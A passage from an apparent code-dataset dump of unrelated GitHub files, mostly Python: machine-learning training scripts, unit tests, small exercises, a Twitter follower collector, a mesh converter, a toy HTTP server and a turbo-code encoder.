scaler.fit(np.array(countVal).reshape(-1,1))\n minmaxScaleDict[key] = scaler.transform([countVal]).tolist()[0] #value of maxmin-scale of each word\n \n removeAndWriteFile('5-2-'+dataType+'-maxmin-scale.json', minmaxScaleDict)\n if dataType=='train':\n removeAndWriteFile('5-0-'+dataType+'-oneTheme-words.json', list(minmaxScaleDict.keys()))\n\n threadIntervalList = applyInterval(threadsScores, threadTheme, minmaxScaleDict, dataType)\n\n return threadIntervalList\n\n# fit trained data to X, Y\ndef formatToXY(threadIntervalList, dataType):\n print(\"------formatToXY------\")\n # [{\n # 'topic_ids':[...],\n # 'word_interval':[True,False,...],\n # 'theme':\"Mountain\"\n # },...\n # ]\n\n # create model\n X = []\n Y = []\n for threadInput in threadIntervalList:\n Y.append(threadInput['theme'] if dataType != 'train' else threadInput['theme'][0]) # tain=>keep string, test=>keep array of string\n X.append(threadInput['word_interval'])\n\n if dataType == 'train':\n removeAndWriteFile('6-X.json', X)\n removeAndWriteFile('6-Y.json', Y)\n return X, Y\n\n# import X, Y from file\ndef importXY(dirX,dirY):\n print('importing', dirX, 'and', dirY)\n with open(dirX) as json_data_file:\n X = json.load(json_data_file) \n print('finish import', dirX)\n\n with open(dirY) as json_data_file:\n Y = json.load(json_data_file) \n print('finish import', dirY)\n \n return X, Y\n\ndef createXYTestSet(threadScores, threadTheme): \n allThreadIntervalList = createScoredModel(threadScores, threadTheme, dataType='test')\n X_test, Y_test = formatToXY(allThreadIntervalList, dataType='test')\n\n removeAndWriteFile('6-X_test.json', X_test)\n removeAndWriteFile('6-Y_test.json', Y_test)\n \n return X_test, Y_test\n\ndef prediction(X,Y,X_test,Y_test, distribution, created=None):\n if distribution=='GUS':\n clf = GaussianNB()\n distribution_name = \"GaussianNB\"\n elif distribution=='MNB':\n clf = MultinomialNB()\n distribution_name = \"MultinomialNB\"\n elif distribution=='CNB':\n clf = ComplementNB()\n distribution_name = \"ComplementNB\"\n elif distribution=='BERN':\n clf = BernoulliNB()\n distribution_name = \"BernoulliNB\"\n else:\n print(\"Invalid distribution code\")\n return None\n\n print(\"-----creating\", distribution, \"model\")\n clf.fit(X, Y)\n print(\"-----start\",distribution,\"prediction\")\n predictVal = clf.predict(X_test)\n clf_acc = accuracy(Y_test, predictVal)\n clf_recall = recallScore(Y_test, predictVal)\n clf_precision = precisionScore(Y_test, predictVal)\n # clf_confusion_matrix = confusionMatrix(Y_test, predictVal)\n \n return {\n \"distribution\": distribution_name,\n \"predict_val\": predictVal.tolist(),\n \"actual_val\": Y_test,\n 'accuracy': clf_acc,\n 'recall_score': clf_recall,\n 'precision_score': clf_precision,\n # 'confusion_matrix': clf_confusion_matrix\n 'created_time': created\n }\n\nif __name__ == \"__main__\":\n\n #! 1\n # threadsScores, threadTheme = dataPreparationToThreadsScores('./', URLCONFIG['mike_thread'])\n \n # testing cutting\n # with open('./3-threadsScores.json') as threadsScores_file:\n # threadsScores_old = json.load(threadsScores_file)\n # print(\"scores:\",len(threadsScores_old[0][\"scores\"]))\n # threadsScores = cutoffKeys('./', threadsScores_old.copy())\n\n #! 1 alternative\n print('------importing threadsScores and threadTheme-----')\n with open('./4-cutThreadsScores.json') as threadsScores_file:\n threadsScores = json.load(threadsScores_file)\n with open('./0-threadsTheme.json') as threadTheme_file:\n threadTheme = json.load(threadTheme_file)\n\n #! 2\n oneThemeThreads = [thread for thread in threadsScores if len(threadTheme[thread[\"topic_id\"]]) == 1]\n removeAndWriteFile('5-0-oneTheme-threads.json', oneThemeThreads)\n oneThemeIntervalList = createScoredModel(oneThemeThreads, threadTheme, dataType='train')\n #! 2 alternative\n # with open('./5-3-oneTheme-interval.json') as model_file:\n # oneThemeIntervalList = json.load(model_file)\n\n #! 3\n X, Y = formatToXY(oneThemeIntervalList, dataType='train')\n X_test, Y_test = createXYTestSet(threadsScores, threadTheme)\n #! 3 alternative\n # X, Y = importXY('6-X.json','6-Y.json')\n # X_test, Y_test = importXY('6-X_test.json','6-Y_test.json')\n\n #!4 prediction using BernoulliNB\n print(\"-----start prediction\")\n clf = BernoulliNB()\n clf.fit(X, Y)\n predictValProba = clf.predict_proba(X_test).tolist()\n predictVal = clf.predict(X_test).tolist()\n print(\"-----predictVal-----\")\n # pprint.pprint(predictValProba)\n removeAndWriteFile('7-prediction-probaResult.json', predictValProba)\n removeAndWriteFile('7-prediction-result.json', predictVal)\n \n # labels = clf.classes_\n # print(\"Labels:\",labels)\n # predictResultFromProba = []\n # for proba in predictValProba:\n # result = [labels[idx] for idx, num in enumerate(proba) if num > 0] #! all that > 0\n # predictResultFromProba.append(result)\n\n # removeAndWriteFile('7-prediction-result-fromProba.json', predictResultFromProba)\n\n #!5 TODO Jaccard\n # jaccardScores = []\n # for i in range(len(Y_test)):\n # jaccardScores.append(computeJaccardSimilarityScore[i], Y_test[i])\n\n # removeAndWriteFile('8-jaccard-fromProba-Y_test.json', predictResultFromProba)\n\n # correct = 0\n # for idx, predict in enumerate(predictVal):\n # if predict in Y_test[idx]:\n # correct += 1\n\n # print(correct)\n # print(len(Y_test), len(predictVal))\n # print(correct / len(Y_test) * 100)\n\n \n\n #!------------------------------------------------------\n # csvData = \"Distribution, Accuracy, Recall, Precision\\n\"\n\n # X_test = X.copy()\n # Y_test = Y.copy()\n # result_col = db[\"naive_bayes_result\"]\n\n # modelResult = []\n # created_time = datetime.datetime.now()\n\n # GUS_result = prediction(X,Y,X_test,Y_test,distribution='GUS', created=created_time)\n # modelResult.append(GUS_result)\n # # csvData += \"{},{},{},{}\".format(GUS_result['distribution'],GUS_result['accuracy'],GUS_result['recall_score'],GUS_result['precision_score'])\n \n # MNB_result = prediction(X,Y,X_test,Y_test,distribution='MNB', created=created_time)\n # modelResult.append(MNB_result)\n # # csvData += \"{},{},{},{}\".format(MNB_result['distribution'],MNB_result['accuracy'],MNB_result['recall_score'],MNB_result['precision_score'])\n \n # CNB_result = prediction(X,Y,X_test,Y_test,distribution='CNB', created=created_time)\n # modelResult.append(CNB_result)\n # # csvData += \"{},{},{},{}\".format(CNB_result['distribution'],CNB_result['accuracy'],CNB_result['recall_score'],CNB_result['precision_score'])\n\n # BERN_result = prediction(X,Y,X_test,Y_test,distribution='BERN', created=created_time)\n # modelResult.append(BERN_result)\n # csvData += \"{},{},{},{}\".format(BERN_result['distribution'],BERN_result['accuracy'],BERN_result['recall_score'],BERN_result['precision_score'])\n \n # removeAndWriteFile(dir_path+'7-prediction-result.json', modelResult)\n # removeAndWriteFile(dir_path+'7-prediction-comparison.csv', csvData, 'csv')\n \n # To mongo\n # print(\"----->insert\")\n # insert_result = result_col.insert_many(modelResult)\n # print(insert_result)","repo_name":"blueplanet-mikelab/blue-planet-analytics","sub_path":"python/naiveBayes-mmscale-interval-090320/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":12824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16868085186","text":"#!/usr/bin/python3\n\"\"\"5-text_indentation.py\n\nTest file: 5-text_indentation.txt\n\nTo test the function text_indentation, run:\npython3 -m doctest -v ./tests/5-text_indentation.txt\n\n\nFunction:\ntext_indentation\n\"\"\"\n\n\ndef text_indentation(text):\n \"\"\"Function that prints a text with 2 new lines\n after each of these characters:., ? and :\n Args:\n text: The text to print\n Return:\n Nothing\n \"\"\"\n if type(text) is not str:\n raise TypeError(\"text must be a string\")\n if len(text) == 0:\n return\n a = 0\n while text[a] == \" \":\n if a != len(text) - 1:\n a += 1\n else:\n return\n b = len(text) - 1\n while text[b] == \" \":\n b -= 1\n while a <= b:\n if text[a] in [\".\", \":\", \"?\", \"\\n\"]:\n print(\"{}\".format(text[a]), end=\"\")\n if text[a] != \"\\n\":\n print()\n print()\n while a < b and text[a + 1] == \" \":\n if a != b - 1:\n a += 1\n else:\n return\n else:\n print(\"{}\".format(text[a]), end=\"\")\n a += 1\n","repo_name":"rmarcais/holbertonschool-higher_level_programming","sub_path":"0x07-python-test_driven_development/5-text_indentation.py","file_name":"5-text_indentation.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21378265685","text":"import math\nfrom typing import Any, Dict\n\nimport numpy as np\nimport pandas as pd\nimport pytest\n\nimport whylogs as why\nfrom whylogs.core.configs import SummaryConfig\nfrom whylogs.core.dataset_profile import DatasetProfile\nfrom whylogs.core.datatypes import DataType\nfrom whylogs.core.metrics import Metric, MetricConfig\nfrom whylogs.core.metrics.unicode_range import _STRING_LENGTH, UnicodeRangeMetric\nfrom whylogs.core.preprocessing import PreprocessedColumn\nfrom whylogs.core.resolvers import Resolver\nfrom whylogs.core.schema import ColumnSchema, DatasetSchema\n\n\ndef test_unicode_range_metric() -> None:\n metric = UnicodeRangeMetric({\"digits\": (48, 57), \"alpha\": (97, 122)})\n strings = [\"1\", \"12\", \"123\", \"1234a\", \"abc\", \"abc123\"]\n col = PreprocessedColumn.apply(strings)\n digit_counts = [1, 2, 3, 4, 0, 3]\n alpha_counts = [0, 0, 0, 1, 3, 3]\n metric.columnar_update(col)\n\n assert metric.submetrics[\"digits\"][\"distribution\"].mean.value == np.array(digit_counts).mean()\n assert metric.submetrics[\"alpha\"][\"distribution\"].mean.value == np.array(alpha_counts).mean()\n assert metric.submetrics[\"UNKNOWN\"][\"distribution\"].mean.value == 0\n assert metric.submetrics[_STRING_LENGTH][\"distribution\"].mean.value == np.array([len(s) for s in strings]).mean()\n\n\ndef test_unicode_range_metric_upper_case() -> None:\n # fmt: off\n ranges = {\n \"lower\": (97, 122), # a -- z\n \"upper\": (65, 90) # A -- Z\n }\n config = MetricConfig(unicode_ranges=ranges, lower_case=False) # Distinguish between upper/lower case\n # fmt: on\n metric = UnicodeRangeMetric.zero(config)\n strings = [\"abc\", \"ABC\", \"123\", \"abcdABCD\", \"...\", \"wxYZ\"]\n col = PreprocessedColumn.apply(strings)\n upper_counts = [0, 3, 0, 4, 0, 2]\n lower_counts = [3, 0, 0, 4, 0, 2]\n metric.columnar_update(col)\n\n assert metric.submetrics[\"lower\"][\"distribution\"].mean.value == np.array(lower_counts).mean()\n assert metric.submetrics[\"upper\"][\"distribution\"].mean.value == np.array(upper_counts).mean()\n\n\ndef test_unicode_range_metric_unknown() -> None:\n metric = UnicodeRangeMetric({\"digits\": (48, 57), \"alpha\": (97, 122)})\n strings = [\"1\", \"12\", \"123\", \"1234a\", \"abc\", \"abc123\", \"@@@\", \"%%%\", \"^^^\"]\n col = PreprocessedColumn.apply(strings)\n metric.columnar_update(col)\n\n assert metric.submetrics[\"digits\"][\"distribution\"].mean.value > 0\n assert metric.submetrics[\"alpha\"][\"distribution\"].mean.value > 0\n assert metric.submetrics[\"UNKNOWN\"][\"distribution\"].mean.value == np.array([0, 0, 0, 0, 0, 0, 3, 3, 3]).mean()\n\n\ndef test_unicode_range_metric_zero() -> None:\n metric = UnicodeRangeMetric.zero()\n for range in MetricConfig().unicode_ranges.keys():\n assert range in metric.submetrics\n\n\n@pytest.mark.parametrize(\n \"bad_range\",\n [\n {\"bad\": (-4, -1)},\n {\"bad\": (4, 1)},\n {\"bad\": (-1, 1)},\n {\"bad\": (1, 0x11FFFF)},\n {\"very:bad\": (1, 2)},\n {\"also/bad\": (1, 2)},\n {_STRING_LENGTH: (1, 2)},\n ],\n)\ndef test_unicode_range_metric_invalid_initialization(bad_range):\n with pytest.raises(ValueError):\n UnicodeRangeMetric(bad_range)\n\n\ndef test_unicode_range_metric_serialization() -> None:\n metric = UnicodeRangeMetric({\"digits\": (48, 57), \"alpha\": (97, 122)})\n col = PreprocessedColumn.apply([\"1\", \"12\", \"123\", \"1234a\", \"abc\", \"abc123\"])\n metric.columnar_update(col)\n msg = metric.to_protobuf()\n deserialized = UnicodeRangeMetric.from_protobuf(msg)\n\n assert (\n deserialized.submetrics[\"digits\"][\"distribution\"].mean.value\n == metric.submetrics[\"digits\"][\"distribution\"].mean.value\n )\n assert (\n deserialized.submetrics[\"alpha\"][\"distribution\"].mean.value\n == metric.submetrics[\"alpha\"][\"distribution\"].mean.value\n )\n assert len(deserialized.submetrics) == len(metric.submetrics)\n\n\ndef test_unicode_range_metric_summary() -> None:\n metric = UnicodeRangeMetric({\"digits\": (48, 57), \"alpha\": (97, 122)})\n col = PreprocessedColumn.apply([\"1\", \"12\", \"123\", \"1234a\", \"abc\", \"abc123\"])\n metric.columnar_update(col)\n summary = metric.to_summary_dict(SummaryConfig())\n\n for subname in [\"digits\", \"alpha\", _STRING_LENGTH]:\n assert f\"{subname}:distribution/mean\" in summary\n assert f\"{subname}:types/integral\" in summary\n assert f\"{subname}:counts/n\" in summary\n assert f\"{subname}:ints/max\" in summary\n assert f\"{subname}:cardinality/est\" in summary\n\n\ndef test_unicode_range_metric_merge() -> None:\n metric1 = UnicodeRangeMetric({\"digits\": (48, 57), \"alpha\": (97, 122)})\n metric2 = UnicodeRangeMetric({\"digits\": (48, 57), \"alpha\": (97, 122)})\n col1 = PreprocessedColumn.apply([\"1\", \"12\", \"123\"])\n col2 = PreprocessedColumn.apply([\"1234a\", \"abc\", \"abc123\"])\n metric1.columnar_update(col1)\n metric2.columnar_update(col2)\n merged = metric1 + metric2\n\n assert merged.submetrics[\"digits\"][\"distribution\"].kll.value.get_n() == 6\n assert merged.submetrics[\"digits\"][\"distribution\"].kll.value.get_min_value() == 0\n assert merged.submetrics[\"digits\"][\"distribution\"].kll.value.get_max_value() == 4\n\n assert merged.submetrics[\"alpha\"][\"distribution\"].kll.value.get_n() == 6\n assert merged.submetrics[\"alpha\"][\"distribution\"].kll.value.get_min_value() == 0\n assert merged.submetrics[\"alpha\"][\"distribution\"].kll.value.get_max_value() == 3\n\n\nclass UnicodeResolver(Resolver):\n def resolve(self, name: str, why_type: DataType, column_schema: ColumnSchema) -> Dict[str, Metric]:\n return {\"unicode_range\": UnicodeRangeMetric({\"digits\": (48, 57), \"alpha\": (97, 122)})}\n\n\n_UNICODE_SCHEMA = DatasetSchema(\n types={\n \"col1\": str,\n },\n resolvers=UnicodeResolver(),\n)\n\n\ndef _NaNfully_equal(left: Dict[Any, Any], right: Dict[Any, Any]) -> bool:\n if set(left.keys()) != set(right.keys()):\n return False\n for key in left.keys():\n if (left[key] != right[key]) and not (math.isnan(left[key]) and math.isnan(right[key])):\n return False\n return True\n\n\ndef test_unicode_range_metric_in_profile() -> None:\n row = {\"col1\": \"abc123\"}\n schema = _UNICODE_SCHEMA\n prof = DatasetProfile(schema)\n prof.track(row=row)\n prof1_view = prof.view()\n prof1_view.write(\"/tmp/test_unicode_range_metric_in_profile\")\n prof2_view = DatasetProfile.read(\"/tmp/test_unicode_range_metric_in_profile\")\n prof1_cols = prof1_view.get_columns()\n prof2_cols = prof2_view.get_columns()\n\n assert prof1_cols.keys() == prof2_cols.keys()\n for col_name in prof1_cols.keys():\n col1_prof = prof1_cols[col_name]\n col2_prof = prof2_cols[col_name]\n assert (col1_prof is not None) == (col2_prof is not None)\n if col1_prof:\n assert col1_prof._metrics.keys() == col2_prof._metrics.keys()\n assert _NaNfully_equal(col1_prof.to_summary_dict(), col2_prof.to_summary_dict())\n\n\ndef test_correct_in_column_view() -> None:\n d = {\"col_a\": [1, 2], \"col_b\": [3.0, 4.0], \"col_c\": [\"a\", \"b\"]}\n results = why.log(pd.DataFrame(d), schema=_UNICODE_SCHEMA)\n view = results.view()\n col_view = view.get_column(\"col_c\")\n summary = col_view.to_summary_dict()\n assert summary[\"unicode_range/string_length:ints/min\"] == 1\n assert summary[\"unicode_range/alpha:distribution/mean\"] == 1\n assert summary[\"unicode_range/alpha:ints/min\"] == 1\n","repo_name":"whylabs/whylogs","sub_path":"python/tests/core/metrics/test_unicode_range.py","file_name":"test_unicode_range.py","file_ext":"py","file_size_in_byte":7358,"program_lang":"python","lang":"en","doc_type":"code","stars":2401,"dataset":"github-code","pt":"69"} +{"seq_id":"43417527148","text":"# -*- coding: UTF-8 -*-\n'''\n@Project :transformer_for_data_prediction\n@File :config.py\n@IDE :PyCharm \n@Author :XinYi Huang\n'''\nimport torch\n\n# ===data loader===\ntext_path='C:\\\\DATASET\\\\time_series_data\\\\weather_data.xlsx'\nepoches=200\nbatch_size=8\nratio=0.7\nsource_seq=7\ntarget_seq=6\n\n# ===model===\ntarget_size=9\nembedding_size=256\nmultihead_num=4\nkernel_size=3\nstrides=1\npadding_size='same'\npadding_mode='reflect'\nshuffle=True\nreturn_attention=True\nnum_layers=3\ndrop_rate=0.\nlearning_rate = 3e-4\nweight_decay = 5e-4\nper_sample_interval = 50\ndevice = torch.device('cuda') if torch.cuda.is_available() else None\ncheckpoint_path = '.\\\\saved\\\\checkpoint'\nsample_path = '.\\\\sample'\nload_ckpt = True\n\n# ===prediction===\nroll_time = 10\n","repo_name":"JJASMINE22/Sequence-Transformer-for-Long-term-sequence-forecasting","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"32115524358","text":"import string\nletter_band = [string.ascii_letters]\npriority_sum = 0\nwith open(\"day3/input/input.txt\") as file:\n input_list = []\n for line in file:\n clean_line = line.strip()\n input_list.append(clean_line)\n groups = [input_list[n:n + 3] for n in range(0,len(input_list), 3)]\n for group in groups:\n common = set()\n for letter in group[0]:\n if letter in group[1] and letter in group[2]:\n common.add(letter)\n print(\"common letter:\", common)\n print(\"final common:\", common)\n priority = letter_band[0].index(list(common)[0]) + 1\n priority_sum += priority\n print(\"priority: \", priority)\n print(\"current priority sum:\", priority_sum)\n print(\"--------------\")\nprint(\"Final sum:\", priority_sum)\n \n \n\n\n ","repo_name":"LaUrrego/AOC22","sub_path":"day3/part2/day3_part2.py","file_name":"day3_part2.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9088325494","text":"import cProfile\nimport pstats\nimport time\n\n\ndef f():\n # time.sleep(1)\n for i in range(0, 100):\n for j in range(0, 100):\n x = i + j\n\n\ndef main():\n with cProfile.Profile() as prof:\n f()\n\n stats = pstats.Stats(prof)\n stats.sort_stats(pstats.SortKey.TIME)\n # stats.print_stats()\n stats.dump_stats(filename=\"statistics.prof\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"TrueJacobG/python","sub_path":"HELP/TUTORIALS/NOTEBOOK/diagnose slow python code/diagnose slow python code.py","file_name":"diagnose slow python code.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"25748792008","text":"\"\"\"\n3.15. Calcular expectativa de vida do fumante.\n\"\"\"\n\ncigarrosPorDia = int(input(\"Digite a quantidade de cigarros por dia: \"))\nanosFumando = float(input(\"Quantidade de anos fumando: \"))\nreducaoEmMinutos = anosFumando * 365 * cigarrosPorDia * 10\n\nreducaoEmDias = reducaoEmMinutos / (24 * 60)\n\nprint(f\"Redução do tempo de vida em {reducaoEmDias:.0f} dias.\")\n","repo_name":"thiagofb84jp/python-exercises","sub_path":"pythonBook/chapter03/exercise3-15.py","file_name":"exercise3-15.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19187392501","text":"import tweepy # To consume Twitter's API\nimport pandas as pd # To handle data\nimport numpy as np # For number computing\nimport json\nimport time\n\n\n\n# Consumer API keys:\nCONSUMER_KEY = \"\" #API key\nCONSUMER_SECRET = \"\" \nACCESS_TOKEN = \"\" \nACCESS_TOKEN_SECRET = \"\" \n\n\n# Authentication and access using keys:\n\nauth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\nauth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)\napi = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True, retry_delay=10)\n\n\ndef test():\n accountlist = pd.read_excel('test.xlsx')\n \n values = accountlist['Twitter accounts'].values\n column = ['Twitter accounts']\n df_selection = accountlist[column]\n usernames=values\n temp = []\n \n \n usernames = userid\n \n temp=[]\n \n for username in usernames:\n data = {\n \"username\" : username,\n \"following\" : [],\n \"follower\" : []}\n \n try :\n data[\"follower\"] = api.followers_ids(user_id = username)\n data[\"following\"] = api.friends_ids(user_id = username)\n \n except :\n data[\"follower\"] = []\n data[\"following\"] = []\n \n temp.append(data)\n print(username)\n \n \n # with open('hacker/'+username+'.json','w') as towrite:\n with open('/Users/junha_lee/Desktop/sample_followingfollower.json','w') as towrite:\n json.dump(temp,towrite,ensure_ascii=False)\n \n temp=[]\n print(username)\n \n avg = sum(score)/len(score)\n\n\ndef main():\n \n json_data=open('/Users/junha_lee/Desktop/c.json').read()\n \n data = json.loads(json_data)\n \n \n \n \n general_user = []\n \n for i in range(0, len(data)):\n if len(data[i]['user_mentions']) != 0:\n general_user.append(data[i]['user_mentions'][0]['id'])\n \n filter_general = []\n \n for i in range(0,100):\n filter_general.append(general_user[i])\n \n temp=[]\n \n for i in range(0,len(filter_general)):\n data = {\n \"username\" : filter_general[i],\n \"following\" : [],\n \"follower\" : []}\n \n try :\n data[\"follower\"] = api.followers_ids(user_id = filter_general[i])\n data[\"following\"] = api.friends_ids(user_id = filter_general[i])\n \n except :\n data[\"follower\"] = []\n data[\"following\"] = []\n \n temp.append(data)\n print(i)\n \n \n # with open('hacker/'+username+'.json','w') as towrite:\n with open('/Users/junha_lee/Desktop/sample_followingfollower.json','w') as towrite:\n json.dump(temp,towrite,ensure_ascii=False)\n \n \n\n\n\n\nif __name__ == '__main__':\n main()\n ","repo_name":"junhaalee/Predicting-of-Cyber-Attacks-based-on-Graphs-and-Time-Series-Using-Tweets","sub_path":"Code/User/follow.py","file_name":"follow.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11511098265","text":"import trimesh\nimport os\n\ndef meshRun(queue,fileServerPath):\n fileNameSplit = fileServerPath.split(\"/\") \n FileMainName = fileNameSplit[len(fileNameSplit)-1]\n splitFile = FileMainName.split(\".\")\n splitFileFirstName = splitFile[len(splitFile)-2]\n ret = queue.get()\n mesh = trimesh.Trimesh(**trimesh.interfaces.gmsh.load_gmsh(fileServerPath, gmsh_args = [\n (\"Mesh.Algorithm\", 2), #Different algorithm types, check them out\n (\"Mesh.CharacteristicLengthFromCurvature\", 50), #Tuning the smoothness, + smothness = + time\n (\"General.NumThreads\", 10), #Multithreading capability\n (\"Mesh.MinimumCirclePoints\", 32)])) \n print(\"Mesh volume: \", mesh.volume)\n # print(\"Mesh Bounding Box volume: \", mesh.bounding_box_oriented.volume)\n print(\"Mesh Area: \", mesh.area)\n\n if not os.path.exists('uploads/transported'):\n os.makedirs('uploads/transported')\n # Export the new mesh in the STL format\n mesh.export('uploads/transported/'+splitFileFirstName+'.stl')\n ret['foo'] = True\n ret['converted_file'] = 'uploads/transported/'+splitFileFirstName+'.stl'\n queue.put(ret)","repo_name":"Honey010/flask-3d-erp-deploy","sub_path":"mesh_converter.py","file_name":"mesh_converter.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"15900766642","text":"from http.server import BaseHTTPRequestHandler\r\nfrom http.server import HTTPServer\r\nfrom urllib.parse import urlparse\r\nfrom urllib.parse import parse_qs\r\nfrom cgi import FieldStorage\r\n\r\n#load HTML file\r\nwith open(\"index.html\", mode = 'r') as f:\r\n index = f.read()\r\nwith open(\"nexd.html\", mode = 'r') as f:\r\n nexd = f.read()\r\n\r\nroutes = []\r\n\r\ndef route(path, method):\r\n routes.append((path, method))\r\n\r\n#add route setting\r\nroute('/xml','xml')\r\nroute('/','index')\r\nroute('/index','index')\r\nroute('/nexd','nexd')\r\n\r\nclass HelloServerHandler(BaseHTTPRequestHandler):\r\n\r\n def do_GET(self):\r\n global routes\r\n _url = urlparse(self.path)\r\n for r in routes:\r\n if (r[0] == _url.path):\r\n eval('self.' + r[1] + '()')\r\n break\r\n else:\r\n self.error()\r\n return\r\n\r\n def do_POST(self):\r\n form = FieldStorage(\r\n fp = self.rfile,\r\n headers = self.headers,\r\n environ = {'REQUEST_METHOD':'POST'}\r\n )\r\n res = form['textfield'].value\r\n self.send_response(200)\r\n self.end_headers()\r\n html = nexd.format(\r\n message = 'You typed:' + res,\r\n data = form\r\n )\r\n self.wfile.write(html.encode('utf-8'))\r\n return\r\n\r\n #xml action\r\n def xml(self):\r\n xml = '''<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n <data>\r\n <person>\r\n <name>Taro</name>\r\n <mail>Taro@Yamada</mail>\r\n <age>39</age>\r\n </person>\r\n <message>hello python</message>\r\n </data>'''\r\n self.send_response(200)\r\n self.send_header('content-type',\r\n 'text/plain; charset=utf-8')\r\n self.end_headers()\r\n self.wfile.write(xml.encode('utf-8'))\r\n return\r\n\r\n #index action\r\n def index(self):\r\n _url = urlparse(self.path)\r\n self.send_response(200)\r\n self.end_headers()\r\n html = index.format(\r\n title = 'Hello',\r\n link = '/nexd?' + _url.query,\r\n message = 'form送信'\r\n )\r\n self.wfile.write(html.encode('utf-8'))\r\n return\r\n\r\n #nexd action\r\n def nexd(self):\r\n _url = urlparse(self.path)\r\n query = parse_qs(_url.query)\r\n id = query['id'][0]\r\n password = query['pass'][0]\r\n msg = 'id=' + id + ',password=' + password\r\n self.send_response(200)\r\n self.end_headers()\r\n html = nexd.format(\r\n message = 'header data.',\r\n data = self.headers\r\n )\r\n self.wfile.write(html.encode('utf-8'))\r\n return\r\n\r\n #error action\r\n def error(self):\r\n self.send_error(404, \"cannot access\")\r\n return\r\n \r\nserver = HTTPServer(('',8000), HelloServerHandler)\r\nserver.serve_forever()","repo_name":"shu2-bot/flask","sub_path":"flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35302913493","text":"input_list= [10,10,10,50,50,50,20,90,70] #Input List\nunq_list= list(set(input_list)) #Make it a set to get Unique values\nunq_list.sort() #Sort in Asc order\n\n# Declaration for intermediate steps\ndict_val_count={}\nlistx=[]\n\n#Add list elements and its count in key:Pair value in a dictionary\nfor x in unq_list:\n y= input_list.count(x)\n dict_val_count[x]=y\n\n\na = max(dict_val_count.values()) #Find max count from dict values\n\n\n#Make a new list with only keys that occurs max times in input list\nfor n,m in dict_val_count.items():\n if m>=a:\n\n listx.append(n)\n\n#Display min number in list that occurs most frequently\nprint(f\"Mode of list{input_list} is : {min(listx)}\")\n","repo_name":"sankari-chelliah/Python","sub_path":"Mode.py","file_name":"Mode.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31630243101","text":"__all__ = (\"fetch_user\",)\n\nfrom typing import Final, Optional\nimport async_timeout\n\nfrom aiohttp import ClientSession\n\nfrom .repository import Repository\nfrom .user import User\n\n\nBASE_URL: Final = \"https://api.github.com\"\n\n\nasync def fetch_user(\n username: str,\n *,\n session: Optional[ClientSession] = None,\n timeout: Optional[float] = None\n) -> Optional[\"User\"]:\n \"\"\"\n |async|\n\n Fetches GitHub user using the `aiohttp` module.\n\n Parameters\n ----------\n username: :class:`str`\n The username of the user to fetch.\n session: Optional[:class:`aiohttp.ClientSession`]\n The session to use for the request. If not given, a\n new temporary session will be created.\n timeout: Optional[:class:`float`]\n The timeout for the request. If not given, the default\n timeout of the session will be used.\n\n Returns\n -------\n Optional[:class:`githuby.User`]\n The user, or `None` if the user was not found.\n\n Raises\n ------\n :exc:`asyncio.TimeoutError`\n The request timed out.\n \"\"\"\n session_ = session or ClientSession()\n\n try:\n async with async_timeout.timeout(timeout):\n async with session_.get(f\"{BASE_URL}/users/{username}\") as u_response, \\\n session_.get(f\"{BASE_URL}/users/{username}/repos\") as r_response:\n\n if not (200 <= u_response.status <= 209):\n return None\n\n user_data = await u_response.json()\n repo_data = await r_response.json()\n\n return User(user_data, [Repository(repo) for repo in repo_data])\n finally:\n if session is None:\n await session_.close()\n","repo_name":"chr3st5an/githuby","sub_path":"githuby/fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33451303042","text":"from Coder import Coder\nimport numpy as np\n\nfrom RSC import RSC\n\n\n# Turbo code coder\nclass TurboCodeCoder(Coder):\n interleaver = []\n\n def __init__(self,interleaver):\n self.interleaver = interleaver\n\n def encode_bits(self,bit_vector):\n output = []\n rsc1, rsc2 = RSC(), RSC()\n bit_vector_i = [0 for _ in range(len(bit_vector))]\n\n for i in range(len(bit_vector)):\n bit_vector_i[i] = bit_vector[self.interleaver[i]]\n\n for b in range(len(bit_vector)):\n output.append(bit_vector[b])\n output.append(rsc1.push(bit_vector[b]))\n output.append(rsc2.push(bit_vector_i[b]))\n\n terminated_rsc_1 = [rsc1.terminate() for _ in range(2)]\n terminated_rsc_2 = [rsc2.terminate() for _ in range(2)]\n\n for x,y in zip(terminated_rsc_1, terminated_rsc_2):\n output.append(x)\n output.append(x)\n output.append(y)\n\n print()\n return output\n def encode_string(self, string):\n # print(f'INTERLEAVER: {self.interleaver}')\n\n output = []\n rsc1, rsc2 = RSC(), RSC()\n for c in string:\n output.append(\"\")\n\n to_bin = f'{ord(c):07b}'\n to_bin_i = [''] * len(to_bin)\n for i in range(len(to_bin)):\n to_bin_i[i] = 